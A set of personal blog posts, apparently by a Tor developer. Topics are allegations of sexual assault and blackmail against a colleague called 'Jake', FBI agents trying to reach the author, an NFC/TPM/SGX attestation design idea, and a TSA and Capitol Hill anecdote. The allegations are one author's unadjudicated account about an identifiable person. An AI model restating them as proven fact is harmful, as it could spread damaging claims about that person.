Instead, I had planned to gather people for a secret meeting in Valencia, somewhere calm, neutral, and away from events, like on the beach, invite Jake, and have everyone willing who has ever been sexually assaulted, humiliated, harassed, or felt their boundaries disrespected, by him to take turns telling a few sentences about what he did to them and how it made them feel. Then we would tell Jake that, as his friends, we thought this needed to stop, and that we’d either deliver a list of the stories to The Tor Project and other organisations, or make all the stories public, if he refused to hold himself accountable for his actions or his behaviour did not appear to improve. In planning this secret meeting, I tried to determine what would cause Jake to perpetually disrespect other people like this, and if there were any positive things we could do to help him.

Somehow Jake got word of all this, and proceeded to go back and forth between everyone I knew, starting, it seems, with one of my roommates and a reporter acquaintance, to force information out of these people, including more names of more people involved (to force more information out of). He seemed to have put the whole story together from all the bits and pieces he was given. In between my efforts to get work done and give a lecture, he imposed on me that my ten minutes of coffee break time should be spent speaking with him, because it was An Emergency. During that rather one-sided conversation, Jake described all the time, effort, and ways he was using in order to completely ruin someone’s life who had attempted to stand up to him, as well as previous ways he had managed to get someone fired from their position and ostracised. He pointedly mentioned, several times, the names of multiple people who he had destroyed in the past for standing against him. In his current efforts to harass one of these people — which through backchannels I was already aware of, he said, “I’ve literally been spending 15 hours a day on this. […] I’ve been speaking with an investigative journalist team to make sure they don’t believe [that person]. […] I heard there was a plan to ‘Confront’ me in Valencia. If that happens, I probably will not take it very well…”

This was chilling. Why was Jake saying those things, non sequitur and without provocation? It was clear to me that they were thinly-veiled threats, descriptions of what would soon happen to me. If I stood up to Jake, I could expect him to try to get me fired from The Tor Project. To try to block my acceptance into the doctorate research program he knew that I was, at that point in time, applying to. To feed the media stories about what a horrible person I am. To ostracise me from my social circles.

In all of this, I tried to do the right thing, to ensure that no more people were harmed, to give Jake one more chance. I wanted the anarchist, rehabilitation-focused solution, but Jake had only responded to that with threats. Meanwhile, River and I were introduced through a mutual friend. When Jake threatened me, I was, for a moment, frightened. Then I flew into a fucking rage. Sorry, Jake, but attempting to blackmail me into silence whilst I was defending others is really not a good look for an “anarchist” “free-speech advocate”.

Having run out of ideas and being threatened out of alternative options, I reported everything to the rest of The Tor Project. Well, almost everything. Originally, I only reported others’ stories (with their permission). I left my own story out, and I did not tell it until it was decided that Jake would no longer be part of The Tor Project.

The Trees

This isn’t about any one individual’s story. This is about addressing the issues and finding means within our communities to ensure this doesn’t happen again. This is about building communal structures so that it does not require, as Jake has rather entertainingly called it, “calculated and targeted attacks” from victims who otherwise felt alone and powerless to stand up and fight back.

Photo: Clara Zetkin and Rosa Luxembourg, early women’s rights activists, marching at a demonstration, arm in arm.

I have spoken personally with every person whose story was published in the original set on the anonymous site. I am convinced beyond reasonable doubt that each of them is true. I added my own story to the site in solidarity with the other victims, especially these who remain anonymous, as someone with the social standing, and hence, enormous level of privilege, required to be able to eventually go public. Many of the other victims do not have this privilege. Whether due to marginalisation, fear of retailiation, or being new to our communities, many sexual assault victims require anonymity, because — without anonymity — they would be silenced.

Jake never apologised to me, nor — to my knowledge — any of the other victims. I don’t condone his actions. However, and no apologies for being crass, I can’t seem to motivate myself to feel any pity towards him for any of the admittedly horrible things which are now happening to him. He ruined lives. The number of people we would have in a significantly more productive and less damaged state were it not for his actions is substantial, and futher, those people in a less damaged state would be overall substantially more beneficial than having a Jake in a less damaged state. Additionally, we would likely have had more diverse contributors to Tor, if we had dealt with Jake sooner, since, for years, many people have been warned about Jake through a whisper network and disuaded from becoming involved.

There are some differences between how Jake is behaving to how the other anarchist I mentioned above was behaving. The other anarchist was willing to engage in the defined process, respectful of his victims’ needs, and eventually sincerely apologetic for his actions.

I cannot condone his actions; however, I cannot condone violence and threats against Jake. Full stop. That is not productive. If he is further harmed, we never see the end of the wretched abused-abuser cycle.

People who behave as Jake does are sick, and they need help. Often, it is because they were severely hurt at some point. As the activist adage goes, “We need to be gentle with one another, so that we can be dangerous together.” If we think Jake has any capacity for change, then it is our responsibility to ensure that he is not simply swept under a rug of academia where he will most certainly find a deeply-ingrained institutional structure of rape apologists ready to turn a blind eye and willing to help Jake “fail up” to another position of power and credibility, where he will use that power to commit further acts of abuse. I am thoroughly dismayed for what is statistically likely to happen again, causing harm to and trust issues for their students, and professional and reputational issues for them.

Realpolitiking

Now. For all of you screaming “This is not what justice looks like! Why don’t you just go to the police?!” let me just wax realpolitik and, like a good little German, quote some Gesetz and cite some statistics.

The “due process” of a state court, in my case, will be detrimental to both Jake and I, as well as numerous other people. The law is very clearly against both of us in this case, with the overwhelmingly likely outcome that he would be kicked out of Germany. (Additionally, in Germany, multiple independent allegations can result in a conviction given the absense of other evidence.)

The other outcome is one or more convictions. While convictions for rape and sexual assault are statistically unlikely, given that only about 7% of reported rapes result in a conviction with similar numbers for Germany, we have an advantage. By German case law, multiple independent allegations are very likely to result in conviction(s), even despite the absense of other evidence, e.g. bruises, marks, semen, which would be required in a solitary allegation. If brought to court, here are some of the applicable laws and their corresponding minimum/maximum prison terms:

Forest

One count of rape (§177 of the Strafsgesetzbuch paragraph 1) for a person in an unconscious state or otherwise incapable of verbal disagreement or resistance (§179 of the Strafsgesetz): minimum, one year; maximum, ten years.
One count of blackmail: minimum, none; maximum: five years.

River

One count of rape (§177 of the Strafsgesetzbuch paragraph 1), including
Instructing a third party to rape the victim (§177 of the Strafsgesetzbuch paragraph 2, sentence 2), making it a “severe case”,
Both counts were penetrative intercourse (§177 of the Strafsgesetzbuch paragraph 2, sentence 1), also making it a “severe case”,
The victim was additionally in an unconscious state and uncapable of verbal or physical resistance (§179 of the Strafsgesetz, including paragraph 5, as well as paragraph 5 sentence 2): minimum: two years; maximum: ten years.

Sam

Sexual assault (§177 of the Strafsgesetzbuch paragraph 1): minimum, one year; maximum: ten years.

Totalling to four years minimum and thirty-five years maximum for those cases alone, along with potential fines and reparations, and expulsion from the country afterwards (cf. §53 and §54 of the Aufenthaltsgesetz). (For English speakers curious about the German laws I’m referencing, there are also official English translations.)

Not to mention that, if our goal is to prevent more people from being harmed by Jake, prison is not an option. Overwhelmingly likely, even in Germany, Jake would be raped in prison. I do not wish these painful things I’ve gone through on anyone, not even those who have caused me pain. Further, most abusers have a history of having been abused at some point in their past, and Jake going to prison certainly will not help him amend his behaviour.

Alternatives

Some people are asking what the victims want out of this.

Personally, I would be completely ecstatic if Jake decided to move to Alaska. Forever. Jake is still threatening the other victims to try to keep them quiet, and additional reports of extremely severe sexual assaults and rape are pouring in to The Tor Project. Meanwhile, Jake is preparing some sort of public “apology” statement. Alaska, or northern Siberia — it doesn’t matter. Until his sociopathic behaviours are revised, there is no place for him in civil society.

As it is obviously rather untenable that Jake move to Alaska, I suggest the following. Please note that these are my suggestions alone, and do not necessarily at this point in time reflect those of all of the other victims. We’re all still processing this.

We need to entirely remove abusers from our communities, until such a time as they have sufficiently demonstrated to their victims that their abusive behaviours will no longer continue. Jake should be removed from all places where his victims, their loved ones, and friends might come into any form of contact with him. Given the enormous amounts of pain myself and the other victims have gone through, the draining emotional stress, and (please excuse my rather dark humour) the development time wasted, I am not willing to revisit this issue for at least four years. After that time has passed, it may be possible to reassess whether there is any path forward for Jake.
We need to assess the cultural issues within our communities which require that victims report anonymously, due to fears of retaliation, further abuse, and not being taken seriously. Once identified, we need to devise better reporting and support structures to help allay these fears.
We need to take victims’ stories seriously. It should not be required that victims band together in collectives in order to be heard. Nor should it be required that someone who stands up for others must have and share their own story of victimisation to “prove” the credibility of the others, as was my case. It should not be required that a dozen people are harmed before any one of them is taken seriously.
We need to critique the institutions — sociocultural, academic, and organisational — which made these events possible.
Those who must still have some form of contact with Jake, and by that I primarily mean others within the academic and journalistic communities, need to be given ways to raise safety and ethical concerns without fear of retribution or retaliation. It is my understanding that several researchers and students do not currently feel this way, and that this is having a severe impact upon their abilities to be successful and productive.

Lastly, I would like to say that I’ve never been prouder to work for The Tor Project, as their recent actions to stand against abuse have set nothing short of an exemplary model for other organisations.

FBI Harassment

2016-05-01T05:29:00+00:00

Obligatory Disclaimer: Personal or political views presented within this post absolutely do not reflect those of my employer(s), client(s), and/or legal counsel.

In the final week of November 2015, a Special Agent from the Federal Bureau of Investigation, Mr. Mark Burnett, knocked on the door of my family’s home and left his card, with an additional phone number penciled in. All my family members residing in America had planned a week-long vacation and were all on a remote island. When the FBI receives DHS flight records as if they’re the morning paper, I must admit that whatever reasons for why the Bureau didn’t know that I or my family were absent escape me entirely.

My mom found the above card of Agent Burnett, face down on the marble entryway of the house, some days after returning home from vacation. As credit to her and my dad, and, the sheer chaos of every member of our family (including my sibling) being hackers/programmers, at first they didn’t assume the card had anything to do with me. After all, I don’t live in America anymore, and also anyone who knows me in the slightest is well aware that I’m so horribly busy with work… such that for several years I’ve often ignored, stood up, and let down my closest friends. My mother assumed that, if it were really important, the agent would call her. He did, while she was at work a couple days later. (As an aside: that any random FBI agent has the ability to learn someone’s personal cell phone number and use it — uninvited — is, in my opinion, extremely threatening and unacceptable.) He didn’t say what he wanted, only that he wanted to know how to contact her daughter. I was travelling (as always), and my mother didn’t have a phone number for me.

I had already been in the process of moving, permanently, to Germany, and had retained a German immigrations lawyer several months prior to these events. In late November, not knowing this had already been taking place, I returned to the US for two weeks to visit family and friends for the holidays, collect my remaining belongings, and make any needed long-term arrangements.

Word got to my lawyer in the US, who decided to call FBI Special Agent Mark Burnett, on that Friday, saying that he represented me and my family. Burnett said the FBI simply wanted to ask me some questions. My lawyer responded by stating that, as my invoked representation, all questions should be directed to him rather than to me or my family. The agent agreed, paused while some muffled male voices were heard in the background, and asked to call back in five minutes.

Five minutes later, Burnett called back and said, “I don’t believe you actually represent her.”¹ Burnett stated additionally that a phone call from me might suffice, but that the FBI preferred to meet with me in person. After a pause he said, “But… if we happen to run into her on the street, we’re gonna be asking her some questions without you present.”

My lawyer and I discussed what the FBI could possibly want. Theories ranged from attempted entrapment, to the recent and completely unethical Carnegie Mellon University (CMU) attacks on the live Tor network, to a Grand Jury subpoena for someone else, to some shady request for a backdoor in some software I contribute to. We honestly could not come up with any coherent rationale for why the FBI would suddenly decide to come after me, as, to my knowledge, I have done nothing which should warrant any interest besides my contributions to open source encryption tools.

In the case that they might have asked for a backdoor, I tried to distract myself from the overwhelming (I don’t think I’ve actually fully understood the word “overwhelming” before these events) stress.

I still planned to continue moving, of course, but now things would need to go to different places, and by different means. I didn’t know if I’d be stopped at the US border, or even prevented entirely from leaving. I started having panic attacks, thinking that I’d need to get myself and literally every object, including electronics, that I cared about accross the border, knowing they’d have the ability to detain me and mess with my belongings for as long as they liked. Every device I owned could be compromised, I’d lose all my data, my pictures of family and loved ones, fiction I’d wrote as a teenager, and Lisp I’d wrote as a child. I’ll admit I actually cried, not knowing when I’d hug my mom again. I prepared myself mentally, trying to model every possible tactic the FBI could play and my planned response.

If they ask for information on anyone else, or think I witnessed or committed some crime: I solemnly invoke my Miranda rights. No joking. No snark. No fucking around. Everyone knows you don’t talk to the police.

If they want a backdoor, or some other extralegal information about users or systems, likewise: I’d ask for my lawyers and shut up.

I didn’t talk to anyone who wasn’t already in regular contact with me, fearing I might endanger them — some thug might show up at their mom’s door or make some threats to their lawyers — and I didn’t want to risk harming people I care about. It hurt to not tell my friends what was happening. I felt gagged and frightened. I wanted to play chess in the park. I wanted to learn duets on the piano. I wanted to ride bicycles through the ancient groves in the park in the endless Californian sunshine. I wanted to bring homemade vegan gluten-free brownies and stickers from collectives in France to my friends at the EFF. To be selfish, I wanted to read the number theory papers I’d just downloaded and play with a new pairing-based cryptography library I’d just been given the source to, but I couldn’t do those things either, simply because I was too stressed out to think straight.

I got absolutely no work done.²

If you’re going to get arrested, you might as well look good and smile your brightest while doing so. In a blur of anxiety and self-consciousness, I bought a pair of blue-green aviators and matching blue-green lipstick. This will totally build rapport with my interlocutors, I told myself. They will have no alternative but to understand that I fight for the good guys, that they should immediately drop their badges and guns — but keep the aviators! — to join me to fight for the true cause and freedom!

Due to speak at several cryptographic conferences in Europe, I flew from San Francisco’s internation airport to Brussels on the next Monday evening, on the latest flight I could get. I had been advised by another lawyer that, “For the FBI, ‘quitting time’ means quitting. After 5 o’clock, you’re good; you can do whatever you want, party in the streets naked on LSD, and they won’t notice a thing.” I also booked a return flight (though I had no intention of using it, since I planned to live in Germany) upon the advice of multiple lawyers. With printed out conference and speaking invites, blue-green aviators, and blue-green lipstick, I went to San Francisco International Airport expecting to be detained indefinitely and lose everything I cared about.

Nothing happened.

I don’t understand this. The FBI is handed DHS flight records like they’re the morning edition. They should have known, when they knocked on my parents’ door, that no one would be home. They should have known when I would fly into San Francisco, and they could have easily detained me then. They reasonably could have known, and potentially acted fast enough, to detain me when I left San Francisco for Brussels.

Once in Germany, I proceeded to compile “The Book” of documents necessary for obtaining an Aufenthaltserlaubnis (roughly translated, “residence visa with permission to work certain jobs, e.g. as a contractor/freelancer”). My appointment was in early January. The day before my appointment, I spoke with my lawyer. He had received another call, this time from a FBI Special Agent Kelvin Porter in Atlanta.

Lawyer: Hello?

Agent: Hello, this is Special Agent Kelvin Porter at the FBI field offices in Atlanta. I’m calling concerning your client.

Lawyer: Yes. Why are you trying to contact her?

Agent: Well… as before… we would strongly prefer to meet her in person. We have teams in Los Angeles, San Francisco, Chicago, New York, and Atlanta keeping an eye out for her.

Lawyer: Your colleague mentioned last time that you would accept a phone call?

Agent: We would strongly prefer to meet her in person. We… uh… have some documents we’d like her opinion on.

Lawyer: Umm…? What documents?

Agent: Anyway, if she’s available to meet with us, that would be great, thanks.

It didn’t exactly help with the stress of applying for a residence visa to know that there were teams in five cities across America keeping an eye out for me. However, I’m glad to say that, the next day, my residence visa was approved. Eight hours afterwards, my laywer received a voicemail saying:

Agent: Hello this is Special Agent Kelvin Porter, we spoke two days ago regarding your client. Umm… well… so the situation with the documents… it’s umm… it’s all fixed. I mean, we would of course still be happy to meet with your client if she’s willing, but the problem has… uh… yeah… been fixed. And uh… yeah. Just let us know if she wants to set up a meeting.

Admittedly, I can’t even begin to understand what was going on here. Documents? Was this attempted entrapment? Or were they using this as bait to get me interested in meeting them, so that they could ask about something else? I mean, help me, please — I really don’t understand what the FBI’s strategy was here.

Or, are they retracting their previous position in order to entice me to return to the US? Should I be worried about what happens to me when I return? Why is the FBI trying to make a developer of an open source encryption tool feel unwelcome in their country of origin? Should I try to get a different citizenship? Is my family safe in the US? Should I worry about the FBI raiding my parents’ house and shooting our family dog? Should I worry about FBI agents stalking and harrassing my mother? Is this really how the United States has decided to treat American tech workers? Am I just the forerunner in a larger campaign by the FBI to personally go after developers of encryption software which annoys them?

Update: 2016-04-26

The FBI has contacted my lawyer again. This time, they said, “She should meet with one of our agents in San Francisco to talk. Otherwise, are you the point of contact for serving a subpoena? She’s not the target of investigation, but, uh… we uh… need her to clear up her involvement or… uh… potential involvement in a matter.”

In case the FBI is seeking data on Tor users or Tor bridges, and especially in case the subpoena turns out to be sealed or accompanied by an NSL: the original published contents of this post are archived as a PDF here, and the RIPE160(SHA256(PDF)) is equal to 5541405e08048658cf457b3c59bf42a51f84a1a3 and hence Bitcoin address 18mnc4BCud3vjAdLbCc3QhyrjN84VTT1iM, in order to prove in a cryptographically verifiable manner that I published before that point in time.

For over a year, I have maintained a warrant canary which covers the case of law enforcement agencies serving me a subpoena for information about Tor users or Tor bridges.

¹ My lawyer mentioned a legal technicality (which may or may not be actually legal because precedent is unclear): having a prior retainer to a defense lawyer in the United States does not mean that a lawyer can invoke the client’s Miranda Rights (i.e. the right to remain silent) for the client, but that the client may be technically required to personally invoke their own Miranda Rights.

² Dear FBI, for what it’s worth: technically, financially-speaking, we’re funded by the same government. You can view my current contract and pay here and you can subscribe to [email protected]?subject=subscribe">any [email protected]">of [email protected]">several mailing lists in order to track my development progress. You can also watch my commits in real time. You can literally see everything I do, who I work for, how much money I make, where I go, and probably a whole bunch of other data about me. I have an [email protected]">email address (and legal counsel). Protip: do your homework next time.

Using Intel SGX Enclaves in NFC-enabled TPM-based Local Attestation

2016-01-28T15:29:00+00:00

Previously, Matthew Garrett and I came up with an new idea for a method of local attestation. Local attestation here means: authenticating the computer that the user possesses a valid hardware token and authenticating to the user that the computer is executing the intended code, and that said code has not been tampered with. The idea is to use some NFC-enabled “smart” wearable device, something trivially hideable on (or inside¹) one’s person in order to authenticate to the TPM, which then validates that the next stage of code to be executed, e.g. usually the kernel (ring 0) or the hypervisor (ring “-1”), has verifiable integrity. Matthew has a great 32c3 talk on TPM-based local attestation, and even breifly, towards the end of the video, mentions the NFC ideas.

As an example use case, this would allow journalists² greater safety when crossing borders. Your laptop got taken away by the TLA at a border? Not such a problem; it simply doesn’t boot without you present. The TLA took your laptop into the back room to try to install some malware on it? No worries, because your laptop will refuse to boot the next time you try to do so (or it could signal in some other way that the system was compromised… however, refusing to decrypt the user’s harddrive is probably a bare minimum safety requirement, and refusing to boot at all is probably the safest).

However, all of this places a great deal of trust in both the TPM device and its manufacturer…

Despite Joanna Rutkowska’s concerns over untrusted user input/output, it would be interesting to see a system, built upon the above local attestation method, which uses an Intel SGX enclave (see the Intel Instruction Set Extensions Programming Reference for architectural details) to execute code whose integrity has been previously verified through two-factor authenticated TPM local attestation. This doesn’t require user I/O, and it doesn’t require anything to be displayed to the user. What it would provide, however, is a way for the code whose integrity is verified by the TPM to remain safely isolated from:

the BIOS, or tampering thereof,
System Management Mode (SMM), and,
(possibly) Intel Active Management Technology (AMT) — modulo Intel’s SGX implementation (and how much you trust said implementation to protect you from their AMT backdoor).

This protects against tampering of the BIOS itself, which, otherwise, could possibly subvert the initialisation of the TPM hardware and cause the integrity verification checks to falsely pass. Without SGX, SMM (ring “-2”) would have the capability to emulate and/or forward calls to and from the TPM device, and as such any SMM-based attack would completely subvert the local attestation.

Additionally, in my and Matthew’s NFC-TPM-based local attestation method, the cryptographic code for verification would need to be partially executed on the “smart” device. In Matthew’s 32c3 talk, the laptop uses a pre-shared key, stored in the TPM, to generate a Time-based One-Time Password (TOTP), which is very simple scheme used for two-factor authentication, and which essentially does:

TOTP ← HMAC(SharedKey||TimeInterval)

The output then is presented as a QRcode on the screen, which the user scans into the external device (a smart phone, in this case) which also runs TOTP to check that the TPM verification was successful.

Smart phones being security nightmares, it’s nice in my opinion to avoid them altogether. (And certainly to never rely on them in any trusted computing scheme!) Alternatively, one could also imagine some smart² jewelry³ such as a necklace or bracelet (cufflinks could also be pretty badass) with an embedded NFC-capable smartcard. Unfortunately, smartcard means you’re likely running in a JVM… which — my livid hatred for the Java programming language aside — hasn’t exactly had the best track record in terms of security. This also unfortunately probably restricts us to using only the set of cryptographic primitives which are PKCS#11 compatible, in order to facilitate communication between the smartcard and the TSS. One interesting area for further research would be a way to remove this requirement, i.e. use something other than a smartcard, and/or devise a scheme for moving execution (on either side) into an SGX enclave as well.

Moving forward towards more secure computing platforms, the most realistic candidate I can currently imagine would be comprised by a hardware-modified Thinkpad which uses the above local attestation scheme to verify the integrity of QubesOS’s security-critical code and the integrity of a Coreboot (the latter of which could also be verified from within QubesOS, e.g. via Joanna’s Anti-Evil Maid system, however only post boot and unsure if this would be capatible with using some the extra protections against malicious SMM code, like verifying the RAMstage upon wake from S3, which Coreboot can provide). Providing these integrity checks pass, and the user possesses a valid hardware-authentication token, Coreboot can then be executed (without needed to trust SMM) and further initialise Qube’s Xen hypervisor, which then executes dom0 and so on.

¹ Matthew’s rather grotesque aside was, “Well… you want to limit the number of parts they have to cut off of you…”
² Well… anyone actually. But everyone likes to pretend journos are special and the rest of us are second-class citizens, right?
³ Yes, I hate that word too. Shut up and mark your bingo card already.
⁴ I’d just like to take this opportunity to coin the term SmartSchmuck.

Teufelsberg

2015-10-31T16:29:00+00:00

Teufelsberg — Devil’s Mountain in English — is a derelict NSA listening post from the Cold War era on the outskirts of Berlin. Abandoned in the 1990s, the geodesic radio towers once abused for surveillance, now serve a much better use for street artists and German vampire films.

Valencia, Spain

2015-03-19T15:29:00+00:00

This is some text to get the table of images to appear only after the jump. Hackity hack. This is some text to get the table of images to appear only after the jump. Hackity hack. This is some text to get the table of images to appear only after the jump. Hackity hack. This is some text to get the table of images to appear only after the jump. Hackity hack. This is some text to get the table of images to appear only after the jump. Hackity hack.

Rogue Waves

2014-09-16T06:34:00+00:00

The TSA agent had just finished running their fingers through my hair, and begun to pat down my shoulders and outstretched arms.

“So… do you live in Washington D.C.?” they asked.

I shook my head, no. They asked what I was doing in the capitol. I responded, in my politest, most innocent, most mousy-little-girl voice:

“I’m just going to talk to some of our nation’s senators about my work.”

The TSA agent jumped back a bit.

“Oh? What do you do?”

“I’m a programmer and computer security researcher.”

“Oh! Are you like really smart? I saw things about this on TV. Do you like break code and stuff?”

“Perhaps, sometimes. But, you know… I can’t really talk about it.”

I forced my face into what I hoped was a kind and knowing half-smile.

They seemed utterly shocked.

“Well then, good luck with your talks, miss, and you’re free to go.”

they said, forgetting to pat down the remainder of me, swab the baby blue latex gloves, and put the swab into the machine that purportedly checks for chemical compounds used in explosives.

I coolly walked away, holding my nose up in the air, as if I believed I had every right in the world to not be humiliatingly groped, holding all my snickering giddiness inside until I got around the corner of a head-high dividing wall. Then I shook my head, shocked at myself and feeling somewhat bad and for the multiple lies² that had just fallen out of my mouth before I could even think about them, and I laughed out loud, wondering how long it would take for that person to realise they still hadn’t checked their gloves.

· · ·

That evening, arriving at the hotel in Washington D.C. for the Open Tech Fund summit meeting, I spotted Moxie in the lobby through the glass doors; I ran inside, dropping my backpack, and flung myself upwards at him to wrap my arms around his shoulders. Moxie had been talking with two others: Trevor from the Freedom of the Press Foundation, and Zooko of Tahoe-LAFS. I awkwardly waved a friendly hello at Trevor, and since I’d only “met” Zooko over videochat before, I awkwardly hugged them for the first time. Inwardly, I mentally kicked myself again for my shyness around people I should be able to call comrades and cohorts, yet haven’t interacted with as much AFK.

We sat down in the hotel lobby, exhausted and idly chatting. Moxie and I, as usual, got to one of our lifelong favourite topics.

“So I was down in Malibu, and I ran into Laird Hamilton… you know that guy?” Moxie asked.

Yep. Dude surfs crazy huge waves. I’d run into him before. Moxie continued:

“I just finished this book about rogue waves — they’re these monster waves, hundreds of feet tall, pretty much unpredictable. There’s whole conferences that people go to — people like us — but instead of talking about crypto, all they do is talk about rogue waves.”

Moxie’s eyes lit up as he said,

“Some people even survive these things… but the folks who survive, they’re always the lunatics who saw the wall of water coming, and made a mad dash straight for it.”

I think the rest of us could sense one of Moxie’s sailor stories coming, so we smiled, nodded, and let him monologue. If someone were to follow Moxie around and collect his sometimes-rather-dubious-but-you’re-willing-to-suspend-all-doubt-for-the-sheer-entertainment-value¹ sailor stories, they’d have a NYT Best Seller in no time.

“So this one wave, something like sixteen hundred feet high, hit the coast of Alaska in the 1960s… and there are still survivors alive today to tell the tale. Can you imagine? Sitting there in the harbour, on your little fishing boat, and you see a sixteen hundred foot wall of water coming towards you, and you’ve still got the wherewithal to jet the engines and head directly into it?”

Moment of silence in reverent awe.

“This Laird Hamilton guy and his buddies, they get wind that sometimes, in very special storms, this break called ‘Jaws’ on the northside of Maui would get up to one hundred feet.

“Sure enough, one day, a storm hits, and Laird calls his buddy up: ‘Dude, it’s happening, we gotta get out there!’ and so they grab a Jet Ski and a surfboard, and sure enough: Jaws is breaking with hundred foot waves. His buddy tows him in on the Jet Ski, and he begins the drop. At some point, he realises: he’s not falling; he’s standing on a board on a vertical surface of water, trying to drop in, but the wave is building so fast that while trying to drop he’s actually rising. So Laird panics, and bails by diving out the back of the wave. When he surfaces, there’s another monster wave coming right for him. His friend Jet Skis in to grab him, but they wipe out from the second wave, and Laird’s buddy’s leg is badly gashed open by the razor sharp fins on the bottom of Laird’s surfboard. He’s already passed out, bleeding out. There’s often sharks in waters in this region. Laird rips apart his wetsuit, making a tourniquet to try to stop the bleeding.

“As he jets towards the shore, holding onto his buddy, he takes a look behind him, and there’s a roaring, fifty-foot wall of pure whitewash from the broken wave. They rush in to the shore, Laird packs his friend into an ambulance, and more friends show up. They’re not even sure if the friend who had been driving the Jet Ski was going to make it. And you know what they do?”

Moxie’s eyes were fervently glowing like a right proper madman.

“They go back out there.”

I smiled my appreciation at Moxie’s energetic storytelling, and sat quietly, wondering if the similarities between the cypherpunks and these people obsessed with giant waves extended beyond just the conferences.

· · ·

I mentioned that I lied² multiple times to that TSA agent.

I don’t³ work for any government agency. As hilarious as I think it is that the TSA agent actually believed I worked for (presumably) the NSA, I haven’t. Nor have I worked for any other agency of the U.S. government, nor any other government.⁴

And I also lied about visiting Congress. I’ve already written about my previous experience visiting senators and representatives on Capitol Hill. The head of OTF kindly poked me to attend their “Hill Day” again — the yearly field trip which led to those previously mentioned adventures, where a bunch of crazy internet-freedom hackers go to Capitol Hill to explain their work to U.S. senators, representatives, and their aides — but seeing as there was limited space for the Hill Day, I opted out of diving through that wave for the second time in order to give someone else⁵ a go at it.

What I didn’t realise was that many people had read my previous post and expected Capitol Hill to be full of trolls. While this is mostly true, and while I really, really want to be able to say nothing more than that Congress is full of a bunch of asshats who accidentally open their passwords.txt file on the monitor in front of me⁶, instead I’d like to tell the story of a positive interaction I had on that day two years ago…

· · ·

It was a full day, playing the part of a door-to-door salesman selling censorship-circumvention and privacy software, like some futurist’s worst nightmare — straight out of a Gibson or Doctorow novel — trudging through metal detectors and underground tunnels beneath the Rayburn House and other Congressional office buildings, before I arrived in that Senator’s office. I’d been busy spouting my well-rehearsed introductions to anyone important-looking who would hold still for thirty seconds. I’d entertained myself mostly by snickering at the sheer abundance of ridiculous articles of clothing which I was encountering — a photograph of some of these things could have made a tweet all in itself, perhaps complemented, drily, wittily, writhingly, by the simplicity of a #wtf or a #onlyindc hashtag: American flag high heels, pink and baby blue powersuits, and chintzy red-white-and-blue 1970s-styled silk neckties.

And, of course, the entertainment value provided by pretending to be legitimately concerned over the rumoured possibility of Reptilians in the underground tunnels of the nation’s capitol should not be left unstated. I kept my eyes very widely and very noticeably peeled, such that any casual observer or surveillance camera which might happen to spy on me in those tunnels couldn’t help but instantly understand that I was comprised of nothing but the most utmost awareness of my surrounding environment: a single glimpse of a scaly green tail whisking around a corner, a set of pupils converting to the yellowy narrowed slits of a reptile in between blinks, the slightest hiss from an underground chamber whose door was mistakenly left unlatched — I would make certain that any secrets that were down here, they’d know that I knew about them.

The Senator’s office reeked of Folgers coffee, clean carpets, and paperwork. We walked in, greeted by a tall, Texan man in his mid-twenties. He was dressed in faded Levi’s and a plaid flannel shirt. His biceps said he’d once quarterbacked for the high-school football team. My first thought was,

“Oh, fuck me. Today’s gonna end with me hitting this dude in the face.”

Our funder had split all us hackers up into smaller groups that morning. As should be expected from anyone familiar with the normative ratios in hacker circles, I was the only female-bodied person in my group, which neither bothered⁷ me nor surprised me in the slightest. It’s just a FactOfLife™.⁸

What did surprise me was this plaided Texan. Speaking directly to me, he said,

“Hi! You must be Isis, from the Tor Project. I’m a big fan of your work!”

A bit shocked that anyone from Texas had heard of either me or the Tor Project, I thanked him and shook his hand. Some other members of the group tried to introduce themselves. He shushed them with a handwave and continued speaking directly to me:

“So… you write Python, yeah? And, of course, you’re really good with security… I’m releasing this web app for the Senator tomorrow, and I’m really nervous about it and kinda wondering if you could take a look at my code?”

Inside my brain, there were some noises like frantic footsteps on a hardwood floor and some confused shuffling of papers, and then a chorus of voices all saying in unison: “Wat.” This kid? Write code?

Sceptical, I followed, sitting in the mahogany leather chair studded with brass rivets he had pointed me into, next to him, behind a giant, darkly-stained oak desk. His Macbook was sitting open on the desk. A couple of Vim buffers lay open before me. I hated absolutely everything he stood for.

“It’s a perhaps a little bit late for an audit, if you’re deploying tomorrow.” I warned.

“Well, it’s already live on the server… it’s just that we decided to open-source it, so I’m making it public on Github tomorrow.”

I stared at his cowboy boots. Two of the voices in my brain were whispering back and forth to each other:

“Open source?”

“Did he just say ‘open source’?”

“I dunno… we probably just misheard him.”

“Perhaps he meant ‘Congress is a bunch of open sores’… ?”

My own inner-voice interrupted, telling them to STFU.

One of the other hackers from the group tried to introduce themselves and their project again. More handwaving from the plaided Texan. Silence again.

We started looking over the code, a mixture of Python, Django templates, and Javascript. I pointed out a bunch of little things as I spotted them, like moving to a more recent version of Django to better avoid some of the then-recent CSRF, XSS, and DoS vulnerabilities. I complimented him on his clean use of Javascript scopes and avoidance of global variable manipulation, pointed out some places where perhaps the Python code could be more functionalised to avoid code duplication, and suggested adding a bit more developer documentation and recommended trying Sphinx. Just little things. Overall, it looked pretty good.

The whole time, he was kind and patient when I appeared to misunderstand something, intelligent in his explanations for particular segments of code and rationales for overarching design choices, and slightly nervous, as if he was sincerely worried that I might find some issue and rail against him for writing shitty, insecure code. He wasn’t just showing off his perfectly-cultivated pet project to me to try get attention. Even more impressive: he spoke directly with me the entire time. In a room full of boys. Boys who concern themselves primarily with coding and security, no less. And — not to be misandrist — boys who continually tried to interrupt the conversation to provide their own input (which, I should add, was more than welcome on my end… after all, it’s possible I’d missed something). In a good way, I was shocked. And impressed. And then further shocked at myself that I was impressed.

“So… this is some sort of app for collaborative editing, like a wiki, right?”

I probingly asked out of curiosity, wondering why anyone would feel the need to reinvent that particular wheel again.

“Yep! It’s a site which allows members of Congress to upload proposed legislature for the public to collaboratively edit, mark up, and make suggestions for. Experts too can point out new and relevant research in their fields which might be pertinent to the amendment and creation of laws, lawyers can highlight sections which are confusingly or troublingly worded, and anyone can voice their opinions.” he explained.

I thought of bills like SOPA.

“Hmm… so if someone were to login, click to edit a bill, highlight the whole text input field, hit BACKSPACE, and then click SAVE… what would that do?”

He cocked his head sideways and stared at me inquisitively. “That… would create a revision… in which the whole bill would be erased.” he answered, slowly, seemingly not understanding why someone might wish to make such a political statement.

